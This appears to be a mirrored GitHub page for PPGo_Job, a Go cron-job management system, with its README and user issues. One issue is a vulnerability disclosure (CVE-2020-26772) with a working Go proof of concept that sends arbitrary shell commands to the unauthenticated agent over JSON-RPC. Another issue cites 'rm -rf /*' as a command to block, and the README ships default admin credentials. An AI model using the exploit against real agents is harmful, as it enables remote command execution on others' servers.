Git Product home page Git Product logo

george518 / ppgo_job Goto Github PK

View Code? Open in Web Editor NEW
1.5K 57.0 388.0 26.89 MB

PPGo_Job是一款可视化的、多人多权限的、一任务多机执行的定时任务管理系统,采用golang开发,安装方便,资源消耗少,支持大并发,可同时管理多台服务器上的定时任务。

License: Apache License 2.0

Go 82.78% PLpgSQL 15.48% Shell 0.38% Dockerfile 0.07% Batchfile 0.05% Less 1.25%
golang cron task remote-control crontab job-scheduler

ppgo_job's Introduction

PPGo_Job定时任务管理系统

一、说明

PPGo_Job是一款轻量级定时任务管理系统,go语言开发,部署超级简单,资源消耗少,运行稳定。 支持定时任务可视化管理、多人多权限的管理,支持大并发,可同时管理多台服务器上的定时任务。

PPGo_Job从v1.0开源以来,得到众多技术朋友的支持和欢迎,已应用在多个公司的生产环境,同时也 吸收使用者的建议和意见,不断改进和优化,目前已经上线了20余个版本,9个稳定版本(生产环境部署完成后才发布新版本)。

码云地址:https://gitee.com/georgehao/PPGo_Job Github地址:https://github.com/george518/PPGo_Job

文档地址:http://www.haodaquan.com/topics/1### Wiki:https://github.com/george518/PPGo_Job/wiki

二、架构

三、特性

V2.x新增以下功能和特性:

  • 1、全新UI,基于LayUI构建全新页面,后端模板手工搭建,让操作更加人性化。后台模板地址:https://github.com/george518/PP_admin-template
  • 2、新增权限管理功能,根据菜单权限、操作权限和数据权限进行划分,方便多用户多权限管理定时任务。
  • 3、新增服务器复制功能,让服务器资源添加更加方便。
  • 4、新增定时任务详情页面,将任务相关操作更加集中起来操作。
  • 5、新增任务审核功能,提高任务的管控能力。
  • 6、新增禁止命令管理功能,配合任务审核功能,提高任务运行安全性,总有人会犯错。
  • 7、优化日志详情页面,查看日志更方便,你想看到的现场内容都在,亲。
  • 8、支持docker化部署,这年头,系统不支持docker化部署好像不能出门似的。
  • 9、支持windows系统运行定时系统,不歧视windows,也要支持。
  • 10、提醒信息新增钉钉和微信通知功能,并支持编辑通知模版功能。让提醒内容个性化,不再死板。
  • 11、新增创建、启动、关闭任务的API,通过接口的方式控制定时任务,猜你喜欢。
  • 12、新增任务执行器agent,可以通过ssh,telnet或者agent的方式接受并执行任务

总之,管理定时任务,使用PPGo_Job吧,节省出来的时间,或皮或浪,随你。

三、支持

1、给项目一个star

2、请我喝瓶水

github

四、先睹为快

image image image image image image image

五、安装方法

方法一、 编译安装

  • go get github.com/george518/PPGo_Job
  • 创建mysql数据库,并将ppgo_job2.sql导入
  • 修改config 配置数据库
  • 运行 go build
  • 运行 ./run.sh start|stop

mac

  • 运行 ./package.sh -a amd64 -p darwin -v v2.x.0

linux

  • 运行 ./package.sh -a 386 -p linux -v v2.x.0
  • 运行 ./package.sh -a amd64 -p linux -v v2.x.0

windows

  • 运行 ./package.sh -a amd64 -p windows -v v2.x.0

方法二、直接使用

linux

  • 进入 https://github.com/george518/PPGo_Job/releases
  • 下载 ppgo_job-linux-2.x.0.zip 并解压
  • 进入文件夹,设置好数据库(创建数据库,导入ppgo_job2.sql)和配置文件(conf/app.conf)
  • 运行 ./run.sh start|stop

mac

windows


前台访问:http://your_host:8080 用户名:admin 密码:123456

配置文件

根据自己的情况修改数据库和启动端口

appname = PPGo_Job2
httpport = 8080
runmode = dev

version= V2.2

# 允许同时运行的任务数
jobs.pool = 1000

# 站点名称
site.name = 定时任务管理器

#通知方式 0=邮件,1=信息,2=钉钉,3=微信
notify.type = 0

# 数据库配置
db.host = 127.0.0.1
db.user = root
db.password = "123456"
db.port = 3306
db.name = ppgo_job2
db.prefix = pp_
db.timezone = Asia/Shanghai

# 邮件通知配置
email.host = smtp.mxhichina.com
email.port = 25
email.from = [email protected]
email.user = [email protected]
email.password = "xxxxxx"
email.pool = 10

# 短信通知方式配置
msg.url = http://chanxiyou.com/api/tools/send_sms
msg.pool = 10

# 钉钉通知配置
dingtalk.url = "https://oapi.dingtalk.com/robot/send?access_token=%s"
dingtalk.pool = 10

# 微信通知方式配置
wechat.url = http://xx.com/api/tools/send_wechat
wechat.pool = 10

六、编译安装-可能会遇到的问题

go build 时遇到以下错误: jobs/job.go:19:2: cannot find package "golang.org/x/crypto/ssh" in any of:

需要 git clone https://github.com/golang/crypto.git 并拷贝到 $GOPATH/src/golang.org/x/ 下就OK

git clone https://github.com/golang/crypto.git $GOPATH/src/golang.org/x/crypto

Docker

本地编译好的2进制文件放在根目录下执行下面的命令即可拥有

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build
docker-compose up -d

#日志查看
docker-compose logs -f web

Windows远程执行

1.开启telnet功能

控制面板->程序和功能->打开或关闭Windows功能,选择Telnet服务端和Telnet客户端

2.启动telnet服务

控制面板->管理工具->服务->Telnet->启动类型改为自动并启动

3.登陆授权

控制面板->管理工具->本地安全策略,在本地安全策略中,安全设置->本地策略->安全选项->网络访问:本地帐户的共享和安全模型->经典

控制面板->管理工具->本地安全策略->安全设置->本地策略->安全选项->帐户:使用空密码的本地帐户只允许进行控制台登录->已禁用

控制面板->管理工具->计算机管理->系统工具->本地用户和组->组->TelnetClients->添加用户

七、任务接口说明

三个简陋的接口,满足日常所需。

1、新增和修改任务接口

  • url:/task/apitask
  • method:post
  • params:
id:0
create_id:4
group_id:3
task_name:测试API创建任务
description:测试
concurrent:0
server_id:2
cron_spec:*/2 * * * *
command:free -G
timeout:0
is_notify:0
notify_type:0
notify_tpl_id:0
notify_user_ids:0

参数含义详见数据库字段。 需要注意的是id为0为新增,大于0为修改。

2、任务启动接口

  • url:/task/apistart
  • method:post
  • params:
id:11

3、任务暂停接口

  • url:/task/apipause
  • method:post
  • params:
id:11

注意使用 form-data的方式传参

4、返回json,status=0表示成功,其他为失败,msg是错误理由或id

{
    "message": 11,
    "status": 0
}

具体可以使用postman测试

八、常见操作问题

1、如何删除任务?

目前操作的步骤是,在非admin用户登陆情况下,编辑一下任务,此任务会到待审核任务列表中,就可以删除了。 因为删除已经审核通过的任务是敏感操作,并且认为删除任务操作执行不多,再加上列表中操作太多,所以就放到待审核任务里执行操作了。如果大家觉得需要在任务列表中添加的话,后期再做修改。

2、删除资源分组问题。

所谓的资源,其实就是执行任务的服务器或者容器。资源的分组就是给这些服务器或者容器分个类。因此,删除资源分组的时候,基于谨慎型原则,必须保证要删除的资源分组下没有服务器资源。要么删除,要么转移到其他分组下。

九、联系我

qq群号:547564773 欢迎交流,欢迎提交代码。

十、感谢

@bannerchi @linxiaozhi @gongwalker

ppgo_job's People

Contributors

bannerchi avatar george518 avatar gongwalker avatar icpd avatar linxiaozhi avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

ppgo_job's Issues

可否增加一个接口,从外部写入计划任务,然后启动执行

我们有一个系统,要动态添加计划任务内容,也就是每条计划只执行一次,我的另一套系统,创建一条信息后会增加多条要定时执行的任务。现在的系统不太方便,希望可以添加一下这个功能。这样整套系统的应就更完善了。

现在的系统功能,我只能在登录后台添加任务,然后还要手动点击执行。达不到我动态添加计划任务,动态启动执行的要求。

问题反馈和建议

1、任务列表没有按ID默认排序,加上initsort更好点
2、页面删除了资源和任务时,数据库是没有删除数据的,这个是bug吧

編輯角色時發現無法真正修改權限

您好:
在沒有修改任何code的情況下,我測試角色編輯功能時,發現一旦增加或減少權限後,雖然保存後,顯示
操作成功,但發現並沒有真正修改,煩請幫忙確認,謝謝

BR Robert

发送邮件不支持ssl

邮件通知配置

email.host = smtp.mxhichina.com
email.port = 465
email.pool = 10

公司是阿里云邮箱,不能发送呢

修改定时任务,出现显示bug

如果该任务是激活状态,修改该任务的执行计划,下一次执行时间不会改变,任务也不会执行。需要先暂定该任务,再激活任务。

高可用及故障转移问题

george你好,我新增任务的时候,要让我填写服务器资源,这个意思是说任务在哪个服务器节点上跑,是配置好的,对吗?
那当某些节点挂掉了,系统会将任务转移到别的可用节点上吗?

如果能在文档中加上系统设计架构图就更好了,感谢

问题和建议

1、window下使用agent连接后,执行批处理,控制台中文全部乱码,无法正常执行
image
2、window下agent还要开一个端口用来执行任务,如果公网使用比较麻烦,能否改用服务器端的8080端口去推送任务。
3、添加任务时 可以选择 执行成功的任务也推送邮件、钉钉、微信等。某些场景需要每次执行的任务结果。

执行原理

  1. 请问这个定时任务的执行原理是什么?从本地远程通过ssh执行任务的命令吗?
  2. 如果任务执行过程中重启进程,是否会影响任务的正常执行?

部署问题

我在启动ppgo-job系统的时候, 收到如下错误
ppgo-job | [ORM]2019/08/01 14:22:48 register db Ping default, open usr/local/go/lib/time/zoneinfo.zip: no such file or directory
ppgo-job | must have one register DataBase alias named default
按照教程安装的, 教程上没有说明数据需要使用什么库名, 在app.conf中如何配置, 我创建了一个库名为ppgo_job3并且db.name = ppgo_job3. 还是报以上错误, 库名为ppgo_job2, default也是以上错误, 请问如何解决

多主机批量执行

有个需求场景,需要多台主机批量执行 请问个功能是否有排期呢?

登陆验证不适合k8s

password == libs.Md5([]byte(self.getClientIp()+"|"+user.Password+user.Salt))

self.getClientIp() 在有反向代理负载均衡的环境中,取到的ip是不同的代理节点ip
这种情况下,会导致登陆成功后立刻又登出,可以把 self.getClientIp() 去掉来解决这个问题
common.go 和 login.go 两个文件都改一下

几个功能更改建议,希望参考

Q1:使用的PPGO_JOB版本
v2.4.0

Q2:使用的操作系统版本
Centos7 、Centos6

Q:建议

建议1:关于“通知”的建议。
可否让更改“出错通知”为“出错通知、正常通知、总是通知”,这三种选择。这样更加灵活。
再次将“通知类型”更改为多选,即可以自由选择多种方式通知同时起作用。
通知用户这块也不能设置多个用户,虽然能同时选择多个用户,但是当点击“立即提交”之后,再进入编辑中查看,看到的是最后一个选择用户,也就是始终只能有一个用户接受到通知。

建议2:关于“权限”的建议。
我使用普通用户创建了“资源分组”、“任务分组”之后,该普通用户居然无法直接看到自己创建的资源“资源分组”、“任务分组”,还需要在使用默认的超级用户登录,在角色管理中,为那个普通用户所在的“角色”中给“资源分组”、“任务分组”授权。这样有点不够任性化。用户既然已经分配了新建、编辑、查看、等所有分组相关的权限,那么是否应该让用户自己创建这些分组后可以直接管理呢?不用每次都需要超级用户再授权了吧?

建议3:关于“审核”的建议。

第一次接触ppgo_job的时候,看到有审核的功能,有种很“安全”的感觉,但是实际使用中,并没有看到有“审核”的日志查看,也就是说某个任务时被哪个用户通过了,哪个用户修改编辑了。都无法通过某个地方看到和查阅。这样感觉审核的功能有点被阉割了。希望能改进。

建议4:关于系统首页的建议。
建议将“最近执行的任务”给独立出一个页面来,可以仔细查看每个任务的执行状态,而不是只能查看近期的20个任务,且增加筛选功能,按正常、失败、未执行等、或者按任务分组等。这样查看执行日志更加方便和准确。

愿PPGO_JOB越来越好

关于本系统做为nginx的反向代理,被上层服务调用时,资源路径的问题

George你好,
我有一个这样的问题:
这个系统装好后默认各路径(前端资源或后端请求api)都是从根(/)开始的,能改为从一个二级目录开始吗?
或者换个说法:我能把本系统安装在一个二级目录里,并正常使用吗?

我有一个这样的场景:
两台机器,机器A和机器B,其中机器A通外网,有外网IP,机器B不通外网,和机器A在同一内网,PPGo_job安装在机器B上并监听了8080;

域名xxx.abc.com解析到机器A,机器A有nginx解析了xxx.abc.com,但有限制:只能解析xxx.abc.com,不能解析其他子域名,也只能解析80端口,不能解析其他端口;

所以我如果想用本系统,就只能用一个二级目录的URL如:xxx.abc.com/ppgojob/来访问,于是在机器A上的Nginx配置里,加了一条/ppgojob/的规则:反向代理到机器B的8080;

这时就是问题:机器B上的本系统的前端代码、ajax后端的api请求的URL都是从根开始的,即(/static/layui/css/layui.css?t=1504439386550这样的),但我需要/ppgojob/static/layui/css/layui.css?t=1504439386550才对,所以,有没有什么办法快速的修改这些代码,或者有哪里可配置吗

权限管理、任务调度、批量任务处理、docker环境问题

首先感谢你写的这个系统,非常好用,简洁。
就目前的系统,简单说一下个人的见解以及建议,以下描述可能违背涉及此系统的初衷(初衷只是想做个定时任务调度系统),描述可能有运维平台方面的要求了(比如4点的第二小点),可酌情考虑。再次感谢此系统给我带来的便利。
1、激活的任务目前只能通过复制按钮来查看此任务具体是什么任务,具体执行了什么脚本,多长时间执
行一次,是否可以增加查看按钮(只做查看功能),或者在日志页面上面的部分增加相应的信息,将信息
丰富一点(目前执行执行脚本或者命令)
2、用户权限管理(特定的人只能修改特定的具有权限的任务)和服务器分组问题(目前不支持分组),服务器
应该允许有至少两个ip(内网ip和外网ip),另外服务器应该也提供快速复制新增功能。
3、之前有人提脚本参数设定功能(这个应该是界面要求,将参数分离出来编辑,我理解的是这样,实际执行应该指定脚本路径,后面直接接参数我测试过是没有问题的,正常执行)
4、另外现在很多环境都在docker里面,比如php环境,宿主机是没有php环境的,是否有比较合理的方式可以进行处理?即当任务需要在容器里面执行的时候如何处理比较合适,我暂时想到两点:
①宿主机免秘钥,然后执行定时任务的时候写 docker exec -it CONTAINER_NAME TIMER_COMMAND
②直接在容器里开ssh服务,直接将容器添加到资源服务器
5、后期是否会考虑任务调度功能的添加?
①比如有3台服务均可执行此任务(但不是多台都要执行,实际只需要有一台执行即可,而且必须
只有一台执行),是否能判断当前3台服务器的负载,选一台比较空闲的机器去执行即可。考虑到第4
点docker的情况,是否可以分配某台机器的某个容器去执行。
②另外一种情况,安装类或者服务器初始化之类的,是否可以添加多台服务器,都执行一个脚本去初
始化服务器,比如说安装nginx?或者说拉去一个php镜像,当然此种情况用脚本ansible处理也比较
简单,此种任务就需要所有机器全部执行。这个要求好像提在这里不太合适。
6、是否考虑危险命令检测机制?当涉及到rm -rf /*(一个例子,还有很多危险命令)之类的命令的时候直接提示编辑不成功,无法保存,或者是否有更好的办法来避免危险命令带来的灾难,当为脚本的时候应该也要扫描一下脚本是否存在此类危险

点测试,没有执行任务

image

如图,刚刚点了好几次测试,并没有新增日志,切换执行服务器后,测试,正常。

image
服务器都是正常的。

有点建议

1.新任务执行策略,不能单次执行
2.批量导入导出主机,IP,密码,端口,分组
3.上传脚本,对主机执行和批量执行
4.agent可以上报简单的磁盘内存负载监控数据,并展示
5.用户注册

go get 安装时报错

go/src/github.com/george518/PPGo_Job/notify/dingtalk.go:43:6: undefined: beego.Error
go/src/github.com/george518/PPGo_Job/notify/email.go:69:6: undefined: beego.Error
go/src/github.com/george518/PPGo_Job/notify/sms.go:48:6: undefined: beego.Error
go/src/github.com/george518/PPGo_Job/notify/wechat.go:41:6: undefined: beego.Error

请问这个错误如何解决?

可否增加一个功能,清理pp_task_log表的数据

pp_task_log这个表的数据会越来越大,可否添加一个管理功能,可以一键清空这个表的数据。在实际业务中,这个表的数据会很大,虽然有批量删除功能,但是还是满足不了要求。有个一键清除所有任务的日志功能就完美了。我现在是直接进入数据库,写个SQL语句清除这个表的数据。

There is a RCE vulnerability when run agent

Credit to Pd1r of Chaitin Tech CVE-2020-26772

when agent is running,we can send special tcp data flow to agent,then it will execute any cmd without any limit

// use agent ip and port

package main

import (
    "encoding/json"
    "fmt"
    "net"
    "net/rpc"
    "net/rpc/jsonrpc"
)

type JobResult struct {
    OutMsg    string
    ErrMsg    string
    IsOk      bool
    IsTimeout bool
}

type Task struct {
    Id            int
    GroupId       int
    ServerIds     string
    ServerType    int
    TaskName      string
    Description   string
    CronSpec      string
    Concurrent    int
    Command       string
    Timeout       int
    ExecuteTimes  int
    PrevTime      int64
    Status        int
    IsNotify      int
    NotifyType    int
    NotifyTplId   int
    NotifyUserIds string
    CreateId      int
    UpdateId      int
    CreateTime    int64
    UpdateTime    int64
}

func main() {
    req := `{"Id":17,"GroupId":1,"ServerIds":"12","ServerType":0,"TaskName":"wwwwwww","Description":"wwwwwww","CronSpec":"* * * * *","Concurrent":0,"Command":"echo \"123123\" \u003e /tmp/lin_text","Timeout":1000,"ExecuteTimes":0,"PrevTime":0,"Status":0,"IsNotify":0,"NotifyType":0,"NotifyTplId":0,"NotifyUserIds":"","CreateId":1,"UpdateId":0,"CreateTime":1600687576,"UpdateTime":1600687576}`
    conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", "192.168.43.160", 1564))
    reply := new(JobResult)
    if err != nil {
        reply.IsOk = false
        reply.ErrMsg = "Net error:" + err.Error()
        reply.IsTimeout = false
        reply.OutMsg = ""
        fmt.Println("error ", err)
        return
        //return reply
    }

    defer conn.Close()
    client := rpc.NewClientWithCodec(jsonrpc.NewClientCodec(conn))

    defer client.Close()
    reply = new(JobResult)

    task := new(Task)
    err = json.Unmarshal([]byte(req),&task)
    if err != nil  {
        fmt.Println("error in unmarshal" , err)
    }
    err = client.Call("RpcTask.RunTask", task, &reply)
    if err != nil {
        reply.IsOk = false
        reply.ErrMsg = "Net error:" + err.Error()
        reply.IsTimeout = false
        reply.OutMsg = ""
        //return reply
    }
    return
}

有考虑过服务器上安装agent吗?

安装看了下,当前值支持ssh与telnet?
telnet一般不会开启,ssh的话也不太靠谱啊
当前需求是很多长进程,N多任务会跑一天,靠ssh?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.